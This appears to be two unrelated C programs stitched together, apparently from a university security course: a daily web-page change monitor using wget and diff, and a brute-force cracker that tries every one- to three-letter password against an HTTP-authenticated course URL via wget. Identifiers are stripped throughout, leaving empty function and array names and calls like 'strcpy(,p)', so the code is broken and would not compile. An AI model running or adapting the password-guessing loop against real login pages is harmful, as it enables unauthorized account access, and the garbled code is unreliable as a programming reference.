#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>

int ()
{
  FILE *fh,*fp,*fp1,*d;
  char
  [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
  sleep(60*60*24);
  system("wget http://www.cs.rmit.edu./students");
  if(system==0)
  {
   printf("File stored");
  }
  strcpy(filename,"index.html"); 
  if((fh=fopen(filename,"r"))==NULL)
  {
   printf("cannot open file\n");
   exit(1);
  }
  fp=fopen("index.txt","r");
  fp1=fopen("index1.txt","r");
 
  while((fgets(PassString,sizeof(PassString),fh))!= NULL)
  {
    fread(p,sizeof(PassString),sizeof(PassString),fh);
    printf(" contents %s\n",p);
    while((f1!=EOF) || (f2!=EOF))
    {
     f1=getc(fp);
     f2=getc(fp1);
     if(f1<f2)
     {
     strcpy(,p);
     fp=fopen("index.txt","r+b");
     fputs(,fp);
     fflush(fp); 
     fclose(fp); 
    }
    else
    {
      strcpy(temp1,p);
      fp1=fopen("index1.txt","r+b");
      fputs(temp1,fp1);
      fflush(fp1);
      fclose(fp1);
    }
    }
    if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
    {
      d=fopen("Diff.txt","r");
      if((fgets(,sizeof(),d))!=NULL)
      {
        printf("The difference between  exist");
	system("Mail \r\n Difference");
      }
      
    }
  }
 return 0;
  }

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>

int ()
{

 int m,n,o,i;
 char URL[255];
 char v[3];
 char temp1[100];
char temp2[100];
char temp3[250];
char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};
time_t u1,u2;

  (void) time(&u1); 
 strcpy(temp1,"wget --http-user= --http-passwd=");
 strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
 
 for(m=0;m<=51;m++)
 {
   v[0]=[m]; 
   v[1]='\0';
   v[2]='\0';
   strcpy(URL,v); 
   printf("\nTesting with password %s\n",URL);
   strcat(temp3,temp1);
   strcat(temp3,URL);
   strcat(temp3,temp2);
   printf("\nSending the  %s\n",temp3);
   i=system(temp3); 
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",URL);
	 printf("\n\nThe time_var taken  crack the password is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
  for(n=0;n<=51;n++)
  {
   v[0]=[m]; 
   v[1]=[n];
   v[2]='\0';
   strcpy(URL,v); 
   printf("\nTesting with password %s\n",URL);
   strcat(temp3,temp1);
   strcat(temp3,URL);
   strcat(temp3,temp2);
   printf("\nSending the  %s\n",temp3);
   i=system(temp3);
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",URL);
	 printf("\n\nThe time_var taken  crack the password is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
   for(o=0;o<=51;o++)
   { 
   v[0]=[m]; 
   v[1]=[n];
   v[2]=[o];
   strcpy(URL,v); 
   printf("\nTesting with password %s\n",URL);
   strcat(temp3,temp1);
   strcat(temp3,URL);
   strcat(temp3,temp2);
   printf("\nSending the  %s\n",temp3);
   i=system(temp3);
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",URL);
	 printf("\n\nThe time_var taken  crack the password is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
   
   
   }
  }
 }  
  
}  
